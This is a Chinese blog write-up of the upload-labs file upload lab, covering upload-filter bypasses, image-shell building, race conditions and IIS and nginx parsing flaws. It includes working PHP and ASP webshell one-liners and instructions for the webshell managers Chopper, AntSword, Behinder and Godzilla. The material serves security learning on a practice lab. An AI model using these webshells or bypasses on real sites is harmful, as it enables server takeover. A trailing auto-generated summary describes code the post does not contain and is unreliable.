upload_labs(文件上传解析漏洞)

基础知识(一)(pass01-10)


文件上传


攻击点: 存在文件上传功能的点(头像、附件)
文件上传本身是网站开发中的一个常用功能。
允许用户上传任意文件时,此时认为是一个漏洞(任意文件上传漏洞)
文件上传漏洞:能上传后端文件;后端文件可以被正常执行
任意文件 : 一般特指网站后端代码,后端代码可以被解析。


webshell


shell: 用于控制系统,用户输入指令,系统对指令进行处理,并且返回结果给用户  
webshell: 通过web程序,实现shell的功能

 1, 接收用户传参  
 2, 将用户传参当成代码或者系统指令运行  
 3, 再将结果返回给用户  

web开发语言:php、java、asp、jsp、python


webshell管理工具


菜刀

直接安装使用

中国蚁剑


有两个文件夹:
AntSword-Loader-v4.0.3-win32-x64(加载器)
antSword-master(本体)


安装
打开加载器文件夹的exe文件 -> 初始化 -> 选择本体的目录 -> 重启安踏sword.exe

冰蝎和哥斯拉都是jar文件,都需要java环境(最低1.8),不能用一句话木马操作,需要使用对应的后门


冰蝎


后门在sever文件夹
shell.php中key的值是连接密码md5的前16位
md5加密网址:cmd5.com
再将文件上传到web的根目录下(www),在页面点击新增


哥斯拉


打开方式
1. 直接打开start.vbs(java版本为1.9之后)
2. 不知道

管理 -> 生成 -> 有效载荷(网站语言) -> 加密器(加密算法)
生成后门文件.php放到web根目录下 -> 目标 -> 添加 -> 测试连接
数据库管理点击DbInfoConfig

文件上传


文件上传的检测方式:
 1. 前端检测(通过js规范用户的数据)
 2. 后端检测
  1. 文件类型
  2. 文件后缀
  3. 文件内容

前端检测


网站只做前端检测,不做后端检测。
通过burp抓包能否绕过js

绕过
直接禁用js
通过f12找到函数,可以将函数体改为return true;

后端检测

文件类型

请求头设置来确定文件类型(content-type)
文件上传的数据包格式是固定的

post传参格式:
 x-www-form-urlencoded
 application/json
 application/xml
 text/plain

文件上传格式:multipart/form-data

boundary=----WebKitFormBoundaryvjbVz69aibdTVxuS:文件起始分割

接收content-type后借助MIME识别文件类型

文件后缀

黑名单:禁止的内容
白名单:只允许文件中的后缀名进行上传(比黑名单更安全)

黑名单:检测绕过

1.  特殊后缀名绕过(php3,php4,php5,phtml)
 黑名单中包含的是 常见的可执行文件的后缀名
 
2.  .htaccess 分布式配置文件(给特定的目录设置特殊的规则)
将一些特殊的后缀文件当成php代码执行
例:
AddType application/x-httpd-php .jpg
设置文件类型,当遇到jpg这种文件后缀时,通过application/x-httpd-php的方式解析文件(application/x-httpd-php为php代码的处理格式)

3.  大小写(只有window系统时才适用)

4.  末尾空格绕过

    末尾空格在后端代码中是正常存在的,并且有含义,但是保存文件时,末尾的空格会被操作系统删除

5.  末尾点绕过
末尾加点
再次访问时建议将点删除掉
    
6.  后缀名双写
网站把黑名单中的后缀名替换为空
例:pphphp  => php
        
7.  通过分析代码的方式来实现绕过

::$DATA 针对 ntfs 文件流的特性
增加 ::$DATA

基础知识(二)(pass11-19)

很多waf/平台对自身的域名会设置白名单,不对其进行拦截

%00截断

有一个终止符%00(16进制),一般是move_uploaded_file()函数出现问题
get传参: 直接在url添加%00即可
post传参:在路径添加a,使用bp的hex模式将a的16进制改为00

图片马绕过

渲染图片,检测图片类型,图片内容都可以用图片马尝试绕过
图片+一句话木马 `copy 1.jpg/b+1.php 111.jpg`
将111.jpg后缀改为php即可使用一句话木马的参数

 藏txt文件


将txt文件压缩,复制图片和压缩包成为一张图片,修改后缀为zip,即可看到txt文件的内容

二次渲染

可gif绕过,png绕过,上传文件时文件内容发生改变(一般选择gif文件)
二次渲染gif时不会渲染前几行代码,建议在第四行进行修改
如果上传文件后访问出现报错,说明此图片不适合做图片马

条件竞争

先上传还是先检测问题
先上传 => 在网站删除我们上传的文件之前访问到我们上传的文件 => 通过访问上传的文件让其写一个一句话木马文件
使用函数:file_put_contents('文件名','文件内容')

 基础知识(三)(pass20-23)

IIS服务器漏洞

web容器可以对任意后缀进行解析(asa,cer,cdx)
IIS服务器 => 管理器 => 右键 => 属性
属性 => 主目录中本地路径类似于网站根目录
主目录 => 配置:扩展名和可执行文件路径
扩展名和可执行文件路径:对应关系(当他看到了某个扩展名,然后就去找这个扩展名对应的可执行文件路径)
例:
asp文件交给可执行文件执行(asp.dll)
动作限制为GET、HEAD:只有get和head会交给asp.dll处理

ASP的一句话木马

网址:https://www.cnblogs.com/xiaozi/p/7560907.html
例:

<%eval request("a")%>


如果网站检测类型较多,可尝试直接使用图片马

使用;  .    /截断
例:/aaa.jsp/xxx.jpg ,访问时需访问完整路径

名为a.asp的文件夹,无论在文件夹上传什么类型的文件,都会当成asp文件处理

IIS6.0三大漏洞
1. 配置错误 asa、cer、cdx
2. 分号截断
3. 文件夹名影响

CGI解析漏洞(在nginx存在)

在apache中不会产生
nginx默认以CGI的方式支持php解析,普遍做法是在nginx配置文件中通过正则匹配设SCRIPT_FILENAME(我没看懂啥意思)

例:www.xx.com/phpinfo.jpg/1.php -> php认为是php文件,所以就交给php解析,当php读取文件的时候,发现1.php文件并不存在,但是phpinfo.jpg存在,就会出现将jpg文件以php文件的格式解析(向上解析)

遇到php的网站,复制图片链接,直接在url添加/.php查看是否出现乱码

CGI漏洞不是nginx独有,IIS7.0、IIS7.5、Lighttpd等web容器中也经常会出现这样的漏洞

靶场题目


pass-01


根据题目提示,为前端验证绕过
或自己判断:尝试传输.php文件,并在文件内写入一句话木马

<?php eval($_REQUEST[9]);?>

尝试使用bp抓包,弹出弹窗且没有抓到数据包,判断为前端检测

直接禁用js,或者找到函数,并在控制台修改函数内容,此题采用第二种方法
发现判断函数为:checkFile()

修改函数checkFile()

function checkFile(){
    return true;
}


绕过成功

可以复制图片的链接进行访问

如果想查看网站下的文件内容,可使用菜刀或其他软件进行连接后访问

pass-02


MIME类型:https://www.runoob.com/http/mime-types.html
根据题目提示,为content-type类型
在上传文件处上传.php文件,使用bp抓包,修改文件类型为jpg:

发送修改后的数据包,绕过成功

复制图片链接进行访问

 pass-03


根据题目提示是黑名单绕过,可以上传不允许的文件查看有哪些文件不允许上传

使用bp抓包,修改后缀为php3

上传文件,绕过成功,此后就不进行验证了

pass-04


根据题目提示为.htaccess文件绕过
我们新建一个名为.htaccess的文件,写入内容,当遇到wsy这种文件后缀的时候,通过application/x-httpd-php的方式解析文件

上传.htaccess文件后将test.php文件改为php.wsy,上传.wsy文件,绕过成功

pass-05


根据题目提示为后缀大小写绕过,windows系统对大小写不敏感,上传文件,使用bp抓包,在bp内修改,并上传

绕过成功

pass-06


根据题目提示为文件后缀(空)绕过,通过bp修改文件名(在后缀多加几个空格)并绕过

绕过成功

pass-07


根据题目提示为文件后缀(点)绕过,通过bp修改文件名(在后缀多加几个点)并绕过

绕过成功,使用图片链接访问文件时,建议将点删除

pass-08


根据题目提示为::$DATA(Windows文件流绕过)
在后缀名种加::$DATA进行绕过

绕过成功,复制图片链接进行访问时将::$DATA删除

pass-09


根据题目提示需要构造文件后缀进行绕过
查看源码


载入文件后,先删除文件名末尾的点,再将字母全部转换为小写,再删除::$DATA,再删除空格
因为$DATA在前面已经转换为小写,所以可以不加
我们可以构造文件名:test.php. .

绕过成功

pass-10


根据题目提示为双写文件后缀绕过
bp抓包后,修改文件后缀为.pphphp

绕过成功

pass-11


题目提示为%00截断绕过,上传.php文件,使用bp抓包
发现传参方式为get传参且文件的保存路径为../upload

使用%00截断,修改上传路径和上传的文件名

复制图片链接访问时删除文件名后的其他东西

绕过成功

pass-12


根据题目提示为00截断,猜测可能为post传参
上传.php文件,使用bp抓包,传参不在url,为post传参

修改文件上传的路径,在文件后面多写一个字符,使用hex修改为00

绕过成功

pass-13


根据题目提示为图片马,创建一句话木马文件和随机一张图片

copy test.jpg/b+test.php 111.jpg

查看图片的二进制编码,一句话木马已被写入

上传图片后下载图片,查看图片的二进制编码

下载后的图片还存在一句话木马,绕过成功

pass-14


根据题目提示为getimagesize图片类型绕过,且题目白名单为gif、jpeg和png,本题尝试gif
复制一句话木马文件和gif文件为test1.gif文件

上传此文件,能正常上传

对文件进行下载,查看文件,没有损坏,绕过成功

pass-15


上传前一题生成的图片马,上传成功

下载后仍然含一句话木马,绕过成功

pass-16


根据题目提示为二次渲染绕过,可使用gif绕过或png绕过,gif比较容易,我们选择gif绕过
二次渲染gif不会渲染文件前面的几行代码,我们可以选择在第3,4行修改
此题我们选择从第四行开始修改
原图:

修改后查看文件是否显示正常

有点异常但问题不大

将文件上传后下载并查看内容,绕过成功

pass-17


根据题目提示为条件竞争绕过:当网站对上传的文件的处理为先上传后检测时,我们可以在网站删除上传文件之前让上传的文件新建一个文件,由于对网站跑的难度较大,我们自己搭建环境
新建文件的函数:

file_put_contents('文件名','文件内容')


在网站上传包含新建文件的木马文件:111.jpg文件,使用bp抓包,将上传的文件修改为111.php文件,并发送到intruder模块

访问将要写在upload文件夹下的111.php,使用bp抓包,发送到intruder模块

注意:对两个数据包同时操作,都选择sniper下的null payloads模式,访问文件的线程设置要高于上传文件的线程设置
得到上传的文件新建的文件:true.php

在网站访问一句话木马文件,绕过成功

pass-18


根据题目提示为条件竞争
(做不了)

pass-19


根据提示为move\_uploaded\_file()截断,也是00截断,上传图片马的照片,使用bp抓包,修改文件名

使用bp修改hex的值

绕过成功

![](

pass-20:IIS6.0解析漏洞(一)


分析源码,需要判断文件类型(content-type)的字段,也就是说上传jpg文件,使用bp抓包,修改文件后缀为asa,可以通过过滤

查看源码,发现可以上传asa文件后缀

在IIS服务器中,asa文件可以被当作asp解析,所以我们需要上传包含asp格式的一句话木马,我们选择第一句:

<%eval request("a")%>

将木马文件写入图片

上传文件,使用bp抓包,修改后缀为asa

得到上传文件的地址:./a/image/111.asa

先直接访问:http://59.63.166.75:8002/a/image/111.asa
得到一堆乱码,应该是成功了

直接使用工具连接,选择脚本类型为asp

直接查看同级目录下的flag文件,得到flag

提交flag,flag正确

pass-21:IIS6.0解析漏洞(二)


查看源码,发现只能通过图片类型的文件,可以使用符号截断

使用上一题的图片马,修改文件为111.asp;a.jpg,上传文件,得到文件路径,


直接使用菜刀连接

直接查看目录下的flag文件,得到flag:zKaQ-Y34Y2ets

提交成功

pass-22:IIS6.0解析漏洞(三)


通过分析源码,只能上传jpg文件后缀,但是服务器存在1.asp文件夹,上传到此文件夹的文件都能当作asp文件处理

上传第一题的带asp格式的一句话木马的图片,得到文件路径,直接使用菜刀连接

直接查看/c/image/a.asp/flag 文件,得到flag:zKaQ-Y1EHhm0O

提交成功:

pass-23:解析漏洞(四)


根据题目提示为CGI漏洞
例:读取www.xx.com/phpinfo.jpg/1.php 时,系统会认为是php文件,所以会交给php解析,当读取文件的时候,发现这个文件不存在,就会以php的格式向上解析phpinfo.jpg文件
直接上传一个含php一句话木马的图片马,

复制图片链接,在url栏拼接/.php,绕过成功,直接使用菜刀连接

得到flag:zKaQ-1Q2IO0SA

提交成功

  • 20
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
根据提供的引用内容,上传图片的代码片段主要包括对文件类型的判断和移动文件的操作。在引用\[1\],代码使用了`$_FILES\['upload_file'\]\['type'\]`来判断上传文件的类型,只接受`image/jpeg`、`image/png`和`image/gif`三种类型的图片。如果文件类型符合要求,则将文件移动到指定路径。如果移动成功,则设置`$is_upload`为`true`。如果移动失败,则设置`$msg`为"上传出错!"。如果文件类型不正确,则设置`$msg`为"文件类型不正确,请重新上传!"。如果文件夹不存在,则设置`$msg`为"文件夹不存在,请手工创建!"。 在引用\[2\],代码片段与引用\[1\]类似,但是在移动文件成功后,还对新生成的图片进行了二次渲染,并将其保存到指定路径。同时,原始的上传文件被删除。 在引用\[3\],代码片段与引用\[1\]类似,但是在判断文件类型时,使用了`FILES`函数来获取文件的MIME类型。其他部分与引用\[1\]相同。 根据提供的引用内容,无法确定具体的上传图片的功能和实现细节。如果您有关于upload_labs图片上传的具体问题,请提供更多的信息。 #### 引用[.reference_title] - *1* [文件上传漏洞(upload_labs1-12)](https://blog.csdn.net/qq_40448537/article/details/106941123)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [upload_labs_pass17_二次渲染](https://blog.csdn.net/qq_51550750/article/details/124115320)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [文件上传upload_labs 1-5](https://blog.csdn.net/qq_45564150/article/details/121548836)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值